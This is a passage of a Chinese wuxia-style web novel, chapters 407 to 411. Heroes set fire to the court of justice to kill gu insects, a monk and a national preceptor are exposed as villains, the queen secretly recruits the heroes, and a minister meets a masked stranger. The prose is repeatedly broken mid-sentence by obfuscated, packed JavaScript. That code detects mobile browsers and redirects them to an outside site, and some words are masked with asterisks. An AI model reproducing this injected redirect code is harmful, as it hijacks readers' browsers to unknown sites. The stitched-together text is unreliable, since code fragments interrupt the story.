原本浓稠如墨的黑雾也跟着变得稀薄起来,攻击力随之降低,那青光也重新恢复了几分明亮。 “怎么回事?”天问大师震惊地看着谢无咎,“你,你做了什么?” 谢无咎笛声不停,他忙着吹奏,无暇开口,只朝天问大师投去了一个得意的眼神。 从天问大师在万源的密室逃脱之时,他可不是一个人离开的,顺手捎走了不少好东西! 黑雾一再变淡,蛊虫们已经开始彻底疯癫,互相厮杀,仿佛誓要将同类吞噬殆尽。 看准机会,岑灵川飞身而出,有惊无险地越过这些晕头转向的蛊虫,长剑直指天问大师而去! “秃子,别跑!” 剑光一闪,蒙面人挺身迎上,挥剑扫开岑灵川的一击,面巾却被挑落,露出一张让所有**惊失色的脸—— “国师?”冯大人失声惊呼。 这位南疆王朝一人之下万人之上的国师,竟然是天问大师的同党! 似乎是见身份暴露,国师索性不再伪装,袖中飞出数条金色蛊虫直取南疆王头颈。 “事已至此,王上就别怪老臣无情了!” 南疆王想后退,脚下却一个踉跄,被金色蛊虫击中肩膀,顿时脸色发黑。 “王上!” 冯大人又惊又怒,“国师!你为何要对王上不利?” 国师狞笑着,“不利?王上一道命令就要清除整个王都的蛊术师,那时候怎么不说不利?” 天问大师同时发难,更多蛊虫从四面八方涌来! “快跑!” “关闭大门!” “去调兵!” 喊声一道接着一道响起,整个大理寺顿时成了修罗场,惨叫声不绝于耳。 谢无咎与岑灵川背靠背迎战,剑光刀影如织,却难敌越来越多的蛊虫。 “这样下去不是办法!”岑灵川喘着气,“这些虫子杀不完!” 谢无咎目光扫过全场,突然对南疆王喊道,“王上!请下令火烧大理寺!” 第四百零七章 投身大火的天问大师 “什么?”南疆**惊,“这,这可是……” 这可是大理寺啊! “蛊虫惧火,这是唯一的办法!”谢无咎斩钉截铁,“再拖下去,全城都要遭殃!” 南疆王看着越来越多被蛊虫侵蚀的百姓,终于咬牙下令,“传令!准备火攻!” 天问大师更是哈哈大笑,“烧啊!看看是先烧死这满大理寺的官员,还是先烧死这些蛊虫!” “慕丞相啊慕丞相,这就是你的爱民如子?” 慕相扶着南疆王,脸色黑沉不已。 谢无咎见状将笛子朝着叶晚竹抛去,后者接过放到唇边,曲调一转,变得急促尖锐。 正在互相攻击的蛊虫身体开始发出红光,随后一个接一个地自爆! 每只蛊虫自爆都带起一小团火焰,转眼间,公堂内已有多处起火。 “你……你们改了引蛊曲?”天问大师惊恐地瞪着谢无咎,又有些无措地看着叶晚竹。 “这不可能!” “你都看见了,还说什么不可能?” 岑灵川冷笑一声,再次变招朝着天问大师冲了过去! 火势迅速蔓延,蛊虫在火焰中发出凄厉的惨叫,国师见势不妙,突然朝着南疆王的方向猛扑过来! “王上小心!” 冯大**喝一声要上前,脚下却不知怎么被绊了一跤,踏空半步,重重摔倒在地。 就在这时,一道森冷剑光掠过,谢无咎在火海中踏空而来,一剑刺中国师心口! 国师难以置信地看着胸口的剑,目光缓缓抬起,“这不可能……” 几乎同时,岑灵川大刀劈向天问大师,天问大师慌忙抵挡,却被逼得步步后退,最终退入火海之中。 “啊——!” 凄厉的惨叫响彻云霄,天问大师在火焰中疯狂挣扎,很快便消失不见了。 大火还在蔓延,慕丞相急声道,“快撤!” 叶晚竹一马当先,飞身越向院中,一脚将方才锁上的大门踹开,众人慌忙退出大理寺。 来到安全处,南疆王看着冲天而起的火光,脸色复杂而微妙。 突然,他转身对着慕丞相深深一揖,“今日若非丞相与诸位,朕险些酿成大祸。” 慕丞相连忙扶住南疆王,“王上不必如此,此番——” 他话未说完,南疆王的身子忽然晃了晃,蓦地呕出一口黑血,踉跄着朝后倒去! “王上!” 侍卫大喊着冲上前来,七手八脚地将南疆王的身子扶住。 “快!快回宫!” “传御医来!” —— 半个时辰之后,御医从南疆王的寝宫中走出,眉头紧皱,一脸凝重。 “王上怎么样?” 慕丞相第一个迎了上去,在他身后,是南疆朝廷之中的文武百官,再往后便是叶晚竹等人。 王都出了这样的大事,没有官员敢独善其身。 这会儿见着御医出现,无数道目光齐齐朝着他投了过去。 御医本是心事重重,见状,额头上顿时又冒出了冷汗。 “王上是中了蛊毒,已入心脉,恐怕,恐怕……” 国师统领蛊术师多年,他自己就是个中高手,经他手研制而成的蛊毒,效力可想而知。 闻言,院中的官员们面上都闪过了惊惧绝望的神情。 谢无咎上前几步,从怀中取出一个小瓶。 “这是从国师身上搜出的,或许有用。” 南疆王被紧急送回宫中,谢无咎一行又转回了大理寺,将还未焚烧殆尽的几具尸体一一检查过后,也一并带了回来。 御医眼前一亮,急忙伸手接过,将那小瓷瓶打开,取出一枚药丸拿在手中细细检查着。 南疆医蛊同源,对这些蛊术师的手段,御医也算知晓。 他捻下一块药丸,依次放在鼻尖口中,合上双眼思忖片刻,忽然激动起来,“可用!可用啊!” “臣这就去替王上控制一二!” 御医转身就跑,动作快得让院中的大人们看得一愣一愣的。 这位真是一心替王上着想啊…… 无人在意的角落里,叶晚竹几人却悄悄地交换了一个眼色。 南疆王本该被天问大师所控,方才却猝不及防地变了口风,这其中不知道是出了什么问题。 况且…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235620|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“找到天问那秃驴的尸体了吗?” 岑灵川方才在大理寺外警戒,他压低声音,叶晚竹和谢无咎同时摇了摇头。 大火将大理寺彻底烧成了灰烬,死在其中的所有人都跟着付之一炬,连半点能够辨认的痕迹都没留下。 天问大师就这么轻易地**? 三人你看看我,我看看你,都觉得这件事没这么简单。 “王上醒了!” 这时候,寝宫的门重新打开,御医激动地探出头来。 “王上要见方才在大理寺的所有相关人员!” 慕丞相闻言带头上前,叶晚竹等人也敛起话头,朝着寝宫而去。 寝宫之中,南疆王的确已经醒了,靠着床头坐着,脸色发青,嘴角血迹尚未完全被擦干净,竟然是泛着金光的。 慕丞相正站在床边,低声向御医询问着南疆王的情况。 “这药虽然能缓解王上身上的蛊毒,但并不能完全将其祛除,”御医说着话,面上又爬满了愁容,“国师亲手研制的蛊虫非同寻常,仅凭御医署,恐怕无能为力……” “那,那该如何是好?”冯大人闻言又着急起来。 御医飞快地看了一眼慕丞相八风不动,泄露不出一丝破绽的脸,小声嗫嚅,“若是将蛊术师召回宫中,由他们研究王上的血,或许能分辨出国师的手法,如此才有希望替王上解除蛊毒……” 这般说来,南疆王刚刚颁布不久的命令,岂不是成了一纸空文? 这回就连慕丞相的表情都变得十分不好。 听着这边的声音,南疆王奋力撑起眼皮,长叹一声,“是朕糊涂,竟让这等妖人祸乱朝纲多年。” 他忽然提高声音,“传朕旨意:彻查国师与天问余党,凡涉案者严惩不贷!另,张贴皇榜,悬赏能解蛊毒之人,救治受害百姓!” “宫中那些蛊术师与国师关系甚笃,不用也罢,本王坚持得住!” 他语气坚决,殿中几人犹豫片刻,纷纷跪拜,“王上圣明!” 此事暂且告一段落,南疆王关闭寝宫,静心休养,叶晚竹一行刚走出院落,便见一个侍卫匆匆跑来。 “三位,王后有请。” 第四百零八章 王后有请 侍卫很快便领着叶晚竹三人穿过王宫曲折的回廊,来到一处更为幽静雅致的宫殿。 与南疆王寝宫外的紧张气氛不同,这里显得庄重而安宁,但空气中依旧弥漫着一丝不易察觉的凝重。 进入殿内,南疆王后并未高坐于上,而是站在窗边,望着窗外略显萧瑟的庭院。 她已经换上了后宫专用的宫装,颜色素雅,却自有一股不容忽视的雍容气度。 听到通报,她转过身来,被面纱遮盖的脸上也能看出带着些许疲惫,眼神却清澈而镇定。 “三位请坐。”王后的声音温和,又带着一丝笑意,“又见面了。” 谢无咎和岑灵川并未抬头多看,只有叶晚竹朝着王后投去了一个相同的笑容。 在邵府的时候没有见面的机会,如今一看,王后本人果然如同她的声音一般,气质不凡。 叶晚竹下意识地想到了方才的慕丞相,这对父女之间也有不少相似之处。 “大理寺的发生的事情,本宫都已经知道了。” 王后没有过多寒暄,直接切入正题。 “王上的情况,御医也已向本宫详细禀明,蛊毒深入心脉,非寻常手段可解。” 顿了顿,她忽然压低了声音。 “此事是真是假?” 天问大师在大理寺中布置的人手被铲除之后,王后也趁机添了自己的眼线进去。 只是,不久前发生的那场乱子,听着着实令她怀疑。 “王上今日在大理寺的态度转变,实在突然。” 柳眉微蹙,王后面上又出现了心事重重的表情。 “天问大师经营多年,与王上绝非寻常合作,而是绑定得相当紧密,为何在关键时刻忽然态度大变?” 此事绝非寻常。 王后张了张口,欲言又止地朝着下方三人看去。 南疆王此刻的清醒,是否只是另一种假象? 叶晚竹和谢无咎也下意识地对了对目光。 王后的担忧与他们的疑虑不谋而合。 岑灵川向来有话直说,便是当初在大梁京城都是如此,南疆王都也不会例外。 “王后娘娘所虑,也正是我们所想。天问那秃驴死不见尸,此事定然还有蹊跷。”他微微皱着眉头。 王后闻言,眼中闪过更深的忧虑。 “果然如此。”她低声道。 今日派去大理寺寻找天问大师尸体的人中,也有王后的一份,同样一无所获,又亲眼见过这位的手段,王后对天问大师的死更是怀疑重重。 “王后,”叶晚竹这时候上前一步,“天问那秃驴若是真的没死,此番吃了这样大的一个亏,以他的为人,十有**会报复回来,王都中说不定会有什么端倪。” 经此一回,天问大师在王都建立起的名声八成是要彻底毁了,不仅如此,恐怕还会成为南疆百姓们唾骂的对象。 这秃驴向来心高气傲,怎么能容许自己落入这般地步? 定会有所动作。 王后深以为然,“这件事情交给本宫,我会派人将城中的情况盯住的。” 一旦天问大师现身,便立刻动手! “那个……”岑灵川又出了声,“南疆王那边怎么办?” 这位王上要招纳能人,他们是管,还是不管? 王后闻言沉吟片刻。 “从国师身上搜出的药,只能暂时压制毒性,并非解药。若要彻底清除王上心脉中的蛊毒,需找到根源,或是找到真正精通此道且可信之人,此事可不好办。” 天问大师是死是活暂且搁置一旁,国师可是死得明明白白,没有半点转圜的机会。 由他制成的蛊毒,岂是随便招揽些蛊术师就能解决的? 听出她话中之意,叶晚竹微微一惊。 “王后还是怀疑王上?” 王后点了点头,眼中闪过一丝冷意。 “王上和天问妖僧同谋多年,本宫不相信他们的关系会如此轻易地瓦解。” 国师已死,天问大师失踪,眼下还能出现在众人面前的,唯一值得被怀疑的,便是南疆王本人。 王后深吸一口气,站起身,从一旁的暗格中取出一枚小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241517|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧的、用特殊木材雕刻的令牌,令牌上刻着繁复的火焰与蝴蝶图案。 “这是本宫的信物,见它如见本宫。” 王后将令牌递给叶晚竹,语气慎重, “事已至此,本宫无法明目张胆地调查,以免打草惊蛇,甚至引来更多变化,唯有请三位暗中查探。” “一切所需,可凭此令牌调动本宫的绝对亲信资源。” 王后知道自己的举措无疑是大胆的,将巨大的信任寄托在了三位外来者身上。 甚至于,几个时辰之前,才是双方的第一次见面。 谢无咎一行人来自大梁,这个比南疆更强大,更兴盛的国家。 若是一招棋错,说不定,整个南疆的命运未来都会大有不同。 王后闭了闭眼,可事到如今,她也只能放手一搏,将希望寄托在眼前几人身上了。 正因他们是外来者,与南疆各方势力无涉,或许反而能成为破局的关键。 叶晚竹接过令牌,触手微温,顿时感觉责任重大。 她抬头看向王后,看到对方眼中的恳切,担忧,以及一份为国为君的坚韧。 “王后娘娘放心,”叶晚竹语气坚定,“此事我们既然已经插手,便会管到底,定会查明真相。” 谢无咎和岑灵川也郑重颔首。 王后脸上终于露出一丝如释重负的浅笑,再次深深一礼。 “多谢三位!南疆的未来,或许便要仰仗三位了,还请务必小心,一切以自身安全为重。” 离开王后的宫殿,三人走在寂静的宫道上。 岑灵川摩挲着刀柄,低声道,“这位王后,是个明白人,也是个有魄力的。” 谢无咎目光深邃,“如此一来,我们行动便更方便了些。当务之急,是确认南疆王的真实状况,以及……天问秃驴究竟是死是活。” 叶晚竹握紧手中的令牌,感受着其上的纹路,轻声叹息。 “风暴看似平息,实则刚刚开始,走吧,我们该去会一会那位‘苏醒’的陛下了,有些问题,或许只有他自己才能给出答案。” 第四百零九章 南郡云家? 南疆王休息片刻后又闲不住,开始传唤今日出现在大理寺的所有人问话。 尚未被传去问话,三人便先回到了他们在宫中的临时居所。 一处靠近宫墙,相对僻静的院落,是慕丞相早些时候为他们安排的。 关上房门,谢无咎又靠在门后听了片刻,确认四下无人,这才开口。 “王后的担忧不无道理,南疆王的态度转变太过突兀,像是被人强行扭转了意志,而非自己醒悟。这其中的手段,恐怕不一般。” 岑灵川摩挲着下巴,语气低沉。 “天问秃驴手中妖法无数,当时情况混乱,他趁机控制南疆王行事,想来不算太难,但这对他自己有什么好处?” 把自己逼入必死的绝境? 叶晚竹抱着双臂。 “除非他知道自己死不了,大火一起,什么都烧没了,正好金蝉脱壳。” “金蝉脱壳?” 谢无咎眼神一凛,“有些道理,天问大师的名头要身败名裂,他趁机换副皮囊,不失为一个好主意。” 只是…… 如此一来,他此刻可能就潜伏在王都某处,甚至……就在这王宫之内。 这个猜测让房间内的气氛变得冷凝起来。 三人互相看看,没说话,谢无咎忽然竖起一根手指放在唇边。 片刻后,细碎的脚步声从外面响起。 “三位可是休息好了?王上有请!” 三人闻言稍作整理,便由这个内侍引路,再次前往南疆王的寝宫。 此时的寝宫外守卫更加森严,气氛也变得更加压抑。 进入内殿,药味混合着一种极淡的、若有若无的奇异甜香扑面而来。 南疆王半靠在龙榻上,脸色依旧青白,但眼神似乎清明了许多。 慕丞相和几位重臣肃立一旁,御医则在角落低声商讨着什么。 见到叶晚竹三人进来,南疆王虚弱地抬了抬手,示意旁人退开些。 “三位义士……此次,多亏你们了。” 他的声音沙哑,气息不稳,但逻辑清晰,“若非你们当机立断,后果不堪设想。” “王上言重了,此乃举手之劳。” 叶晚竹上前一步,微微行礼,目光不着痕迹地扫过南疆王的面容和露出的皮肤。 瞧着并无异样。 “王上感觉如何?”叶晚竹关切地问,“有什么是我等可以做的?” 南疆王叹了口气,垂下眼帘,语气沉痛。 “是朕昏聩,信错了人,才招致此祸,御医暂无良策,只能暂时压制毒性,朕听闻你们几位来自大梁,大梁能人异士众多,不知几位可有听说过南郡云家?” 谢无咎挑了挑眉,“王上说的可是医毒兼修的那个云家?” “正是!”南疆王双眼一亮,“这位义士与云家可有故旧?” 谢无咎这次却摇了摇头。 “云家避世多年,从未听说过有出山的迹象,怕是……” 南疆王闻言,神情阴沉不定。 二人你来我往,叶晚竹只不动声色地看着南疆王放在被子外的那只手。 南疆王说话时,那只手的手指无意识地叩击着床沿,节奏古怪,不像是因为疼痛或焦虑,反而更像是一种习惯性的小动作。 叶晚竹心中一动,朝着岑灵川投去一道视线。 岑灵川立刻会意,轻咳一声转开话题,语气又带上了几分锐利。 “王上,那天问妖僧葬身火海,实在是便宜他了!只是不知,他那些同党余孽,是否会贼心不死?” 说话时,岑灵川紧紧盯着南疆王的眼睛。 听到“天问”二字时,南疆王的眼瞳几不可查地收缩了一瞬,那叩击床沿的手指也骤然停顿了半拍方才继续。 他立刻重重咳嗽起来,脸上也跟着露出愤恨的表情。 “咳咳……那些余孽,朕绝不会放过!定要……定要将他们一网打尽!” 这番表现落在三人眼中,一切不言而喻。 两方又交谈了几句,大多是些安抚和场面话,见始终问不出什么准话,南疆王的神情也变得越发低沉。 他很快便阖上双眸,直称自己力竭,叶晚竹等人立刻知情识趣地一同告退。 走出寝殿,回到相对空旷的宫苑中,三人的脸色都沉了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241518|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “果然有问题。” 岑灵川率先低声道,“那老小子刚才听到天问秃驴的名字时,手指头都不会动了。” “不仅是手指,”谢无咎语气冰冷,“他心脉处有一个极其隐蔽的控制印记,与蛊毒纠缠在一起,若非仔细探查几乎无法发现。下印之人手法极高明,借助蛊毒的力量来掩盖和滋养那个印记。” 岑灵川听着听着,眼神就迷离了起来。 叶晚竹也面带不解。 “那个印记,就像一根看不见的线,由背后的人牵着他的一举一动。” 谢无咎见状又解释了一句。 王后的直觉是对的。南疆王本身的确有问题。 “我们现在怎么办?”岑灵川问道,“直接告诉王后?” 叶晚竹摇了摇头。 “暂时不要,王后虽然可信,但她身边未必绝对安全。” 从王后离宫这等大事都能被发现,便可见一斑。 “而且,我们还需要更多证据,以及找到解除那个印记的方法,否则打草惊蛇,下印之人可能会直接催动印记,说不定会造成某种不能承担的后果。” 她抬起手,看着掌心那枚火焰与蝴蝶的令牌。 “王后给了我们暗中行事的权力。那么接下来,我们要做的有两件事。” “第一,利用王后的资源,秘密寻找这种高阶控制印记的信息,南疆蛊术博大精深,说不定有别的克制之法。” “第二,” 叶晚竹目光锐利地看向宫墙之外,“我们要主动出击,把那个可能还藏在暗处的钓鱼人给钓出来!” 既然留下了线头,那他们不妨轻轻扯动一下,看看另一端是什么情况? “第三……” 垂下目光,叶晚竹的声音又变得低了几分。 “南疆王刚才提到南郡云家,或许不是什么偶然。” 南疆遍地都是蛊术师,甚至南郡那边的毒术风格,最初都是受南疆影响而来。 师傅找徒弟取经,怎么想都有古怪。 “给邵威传个消息,让他派人回南郡,去瞧瞧那边有没有发生什么好了。” 第四百一十章 放长线,钓大鱼 谢无咎沉吟着点了点头。 此事确实蹊跷,南疆蛊毒自成体系,何须远求南郡? 除非这蛊毒或控制印记的手法,本身就与云家有关。 或者……是这个云家本身有些问题。 岑灵川听得头大,不耐烦地叉着腰,“绕来绕去,真是麻烦!那我们现在是兵分三路?” “不,”叶晚竹果断摇头,“王都情况未明,天问那秃驴可能潜伏在任何地方,力量需集中使用,我们不能分开。” 邵威那边有秘密渠道,让他动用暗哨的力量暗中探查南郡云家的动向,比他们派人回去更快,也更不引人注意。 “至于王都这边……” 她看向谢无咎和岑灵川。 “当务之急是查清那个控制印记。谢都督,你对这类蛊毒印记了解最深,查阅古籍,寻找线索之事非你莫属。” “王后的令牌交给你,应该能让我们接触到一些王室秘藏的卷宗。” 谢无咎颔首,“正合我意,慕丞相留了人,我去找一个安静且安全的地方翻阅资料。” 叶晚竹点点头,随即又看向岑灵川。 “师兄,你与我一起,我们去‘扯一扯’那根线。” “怎么扯?”岑灵川顿时来了兴致。 “王上不是要张贴皇榜,广招能人解蛊吗?” 叶晚竹唇角勾起一抹意味深长的笑。 “我们便去揭这皇榜!不仅要揭,还要大张旗鼓地去!” 岑灵川愣了一下,随即恍然大悟。 “妙啊!我们成了饵,也是钓鱼的人!就看那藏在暗处的家伙,会不会忍不住做点什么!” “正是此意。”叶晚竹点头,“但此举风险亦大,我们需万分小心,绝不能暴露**! 尤其是在南疆王面前。 “此事便也交给我吧。” 谢无咎含笑束着双手。 “隐竹那手艺,还是从本督这里学来的。” 计划已定,三人立刻分头行动。 三日后,叶晚竹与岑灵川皆换上了一副与本尊完全无关的皮囊,打扮成赤脚大夫的模样,一大早便来到了张贴皇榜的内城门外。 虽然时间还早,可那里却已经围了不少人,对着皇榜指指点点,但真正上前揭榜的却一个都没有。 国师和天问大师的恶名早已传开,他们留下的蛊毒,寻常人谁敢沾染? 叶晚竹与岑灵川对视一眼,大步走上前去。 岑灵川挥手一晃,便将那皇榜扯了下来! “你,你们?” 在守卫和众人惊讶的目光中,叶晚竹朗声笑了起来。 “我与师兄走南闯北,最爱钻研疑难杂症,此番自愿一试,为王上解蛊!” 守卫队长闻言不敢怠慢,连忙恭敬地将他们引入宫中,并即刻通传。 消息像长了翅膀一样飞入深宫,南疆王很快便传召二人进殿。 这一次,在南疆王的寝殿内,除了慕丞相和御医,还多了几位闻讯赶来的官员,似乎都想看看这名不见经传的游方大夫有何等手段。 南疆王的精神似乎比之前更差了些,但看到二人,眼中还是燃起一丝希望。 “二位果真能解朕之蛊毒?” 叶晚竹上前,神色从容不迫。 “不敢断言必解,但我二人师门于解毒驱邪一道颇有钻研,愿尽力一试,不过,我等需先为王上仔细诊察。” “好,好!快请!”南疆王急切地伸出手腕。 叶晚竹两指搭上南疆王的手腕,凝神诊脉,动作显得有模有样的。 说起来,师傅还在的时候,也曾玩笑般地教了叶晚竹两招,没想到会用在这种地方。 殿内鸦雀无声,所有人的目光都集中在叶晚竹身上。 时间一点点过去,叶晚竹的眉头渐渐蹙起,仿佛遇到了极大的难题。 谢无咎描述中的那个诡异印记的确存在,随着叶晚竹按压南疆王的毛脉搏,还变得越发清晰。 它像活物一样盘踞在心脉跳动,与蛊毒相互缠绕,却又并非融合在一起。 就在叶晚竹试图更深入感知那印记的根源时,南疆王的身体猛地一颤! 他原本虚弱困顿,却忽然睁大眼睛,眼中闪过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241519|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝极快掠过的、与他本人气质截然不同的厉色! 南疆王叩击床沿的节奏也猛地一变,急促而尖锐。 几乎同时,叶晚竹感觉到一股阴冷的力量顺着她的手指反噬而来,仿佛要直冲天灵盖! 叶晚竹闷哼一声,立刻抽手,却还是身形微晃,胸口也漫上一阵钝痛。 “师妹!” 岑灵川立刻上前一步扶住她,眼神警惕地看向南疆王。 南疆王眼中的异色已然消失,又变回了那副虚弱痛苦的样子,仿佛刚才的一切只是幻觉。 “如……如何?可是……很棘手?”他大口喘着粗气。 一切发生得太快,殿中群臣直到这个时候才反应过来,又连忙靠上前。 “二位,情况如何?” 叶晚竹稳住气息,感到血丝从唇角流下,她缓缓收回手,语气凝重无比。 “王上所中之蛊毒,确实诡异非凡,不仅毒性猛烈,更似乎……与某种不明力量纠缠,寻常解蛊之法,恐难奏效,反而可能激化毒性。” 她的话说得模糊,官员们的心却被高高地吊了起来。 慕丞相闻言眉头紧锁,“不明力量?莫非……仍是天问妖僧的遗毒?” 叶晚竹不置可否。 “此毒的确诡异,需要进一步研究,还请诸位给我二人一些时间,好斟酌个方案出来。” “准!宫中藏书楼开放给二位,二位可随意查阅!”南疆王立刻答应,显得十分配合。 然而,就在叶晚竹和岑灵川告退,转身离开寝殿的刹那,一缕极其细微的冷意,猛地从叶晚竹背后窜了上来! 并非来自南疆王,而是源自殿内某个角落! 她没有立刻回头,不动声色地与岑灵川地继续向外走。 直到走出很远,岑灵川才压低声音,“怎么了?” “线动了,”叶晚竹目光冰寒,低声道,“鱼也惊了,他就在那里,藏在那些官员或者侍从之中。 “而且……他已经注意到我们了。” “师兄,慕丞相身边往右数的第四个人,你还有印象吗?” 第四百一十一章 私会 从王宫出来,刑部尚书吴慎大人行色匆匆地上了自家的马车,又飞也似地朝着尚书府而去。 经历了前几日的那场混乱,王都之中还没有恢复往日的繁荣,百姓们纷纷闭门不出,小心行事,街上也跟着冷冷清清的。 吴慎大人催了车夫几次,更是把马车赶得飞快,一眨眼便停在府门外。 “老爷……” 他刚一下车,管家便皱着眉头小心翼翼地走上前,欲言又止地朝着自家老爷看来。 “我知道了。” 还不等管家说些什么,吴大人便简短地点了点头。 “让人把书房看好,任何人都不能进来!” 丢下这么一句话,吴大人便大步流星地朝着书房而去。 管家急忙小跑着赶在前面张罗,等吴大人来到书房,这里已经安安静静,不见半个人影。 书房的门关着,里面却隐约能听到翻动纸张的声音。 方才还大步向前的吴大人这会儿却忽然停下了脚步,独自站在无人伺候的院中,深吸一口气,又抬手将官服整了整。 确定自己浑身上下都没有什么不妥当的地方,吴大人最后定了定神,这才走上前去。 “进来。” 还没等吴大人出声,屋中便传来了一个熟悉的声音。 略略打了个哆嗦,吴大人推门而入。 “先,先生,让您久等了,都是府中下人怠慢……” 站在书桌边的是个一身素色衣袍的男子。 初秋的天气,对南疆来说依然带着不少热意,可这位却从头到脚一身都包裹得严严实实,露不出半块皮肤。 他头戴帷帽,面上则是扣着一块硕大的铁质面具,将除了眼睛之外的整张脸都遮挡住了。 那双眼睛这会儿正静静地望过来,里面什么情绪都没有。 吴大人的呼吸不由得又变得有些急促。 “不妨事,吴大人坐吧。” 只看了他一会儿,这黑衣男子便收回目光,不咸不淡地说了一句,又垂下头,看着被自己拿在手中的东西。 吴大人顺着他的视线看去,而后便又控制不住地用力吞咽着口水。 那是慕丞相昨天晚上派人送来的一封信,邀请他到慕府去小聚。 “吴大人还真是交游广泛。” 虽然垂着头,那黑衣男子还是在第一时间就发现了吴大人的小动作,他掀起眼皮,眼中似乎多了一丝说不清道不明的笑意。 “听闻吴大人与慕丞相在朝中配合已有多年,默契十足,情谊非凡,如今看来,果然做不得假。” 他用两根手指夹着慕府来的信,轻飘飘地朝着吴大人晃了晃。 吴大人的身子也跟着这动作晃了晃,眼神飘忽一瞬,笑容也显得十分僵硬。 “这都是不知情之人的胡言乱语,还请先生莫要当真!” 他和慕丞相的情谊非凡? 想到这儿,吴大人就忍不住地撇了撇嘴。 他与慕丞相的确是在相仿的时间入朝为官,也同在一个衙署办公,可却没有传言说的这么温馨。 吴家在王都的高门大户之中虽然也有些不菲的名声,可和慕家这样的世族相比,显然还是不够看,吴大人和慕丞相同在一处,众人的关注更多放在哪边,自然是一目了然。 年轻的慕丞相也不负重托,将自己身上的差事完成得十分不错,没过几个月便开始调任升迁。 他在前方一路畅通,吴大人想跟上慕丞相的脚步,却要咬紧牙关,付出几倍的努力才能达成心愿。 饶是如此,再加上吴家满族的托举,吴大人却始终慢慕丞相一步。 他自认论文韬武略,真实本领,绝不输慕丞相半分,却一直屈于人下,想来便是慕家出力更多的结果。 到了最后,慕丞相顺风顺水地领下丞相之位,吴大人跑断了全家的腿,也只得了一个平平无奇的刑部尚书。 放眼朝中,六部主事之职已经足够可观,可午夜梦回,吴大人却还是控制不住地不平衡。 分明是差不多的本事,他屡屡外出公干,实事做得还更多一些,凭什么最后的荣耀还是落到慕丞相身上?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252601|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 怀着这种隐秘的心思,这些年来,在对待慕丞相下发的公务时,吴大人没少有意推诿拖拉,实在躲不过的,便也草草了事,从不认真对待。 他只要把刑部这一亩三分地管好,慕丞相焦头烂额,与他何干? 说不定,为了公务,高高在上的慕相大人还得来找他说好话,打商量呢! 吴大人的美梦做了一阵子,又接连敷衍了几件事,预想中的画面没有到来,倒是同僚们私下的议论先让他不小心听见了。 有对他敷衍了事不满的,也有试图打圆场的,可其中最让吴大人憋屈的,便是有人说他本就能力有限,如今上了年纪,力有不逮也是情有可原! 去他的情有可原! 可他还什么都不能为自己辩解! 要他说什么?说自己能力足够,就是故意想给慕丞相下点绊子? 吴大人为此憋屈得一晚上都没睡着,最后也只能无奈地默认了下来。 后来这说法在朝堂中越传越广,没人再把重要的任务委托给吴大人,就连南疆王都动了心思,暗示他不行就告老还乡。 吴大人有苦说不出,如鲠在喉许久,眼下终于有了机会,自然不能错过。 “宫中的情况如何?” 冷冷的问话声从对面传来,吴大人愣了一下,连忙回过神,又对上那双什么情绪都没有的眼睛。 黑衣男子不知道什么时候已经把那封信搁回了原处,仿佛刚才那话只是随口一说。 此人两次到尚书府都是来来无影去无踪,一看便知来头不小,吴大人定了定神,想到宫中,眉头又忍不住皱了皱。 “有两个游医揭了皇榜,在王上面前说得头头是道,被留在宫中进一步研究解药了。” 说到这儿,吴大人不由得又小心翼翼地抬起眼,朝着面前的黑衣男子看了过去。 “据那两人说,王上体内的蛊毒十分霸道复杂,先生您看……” 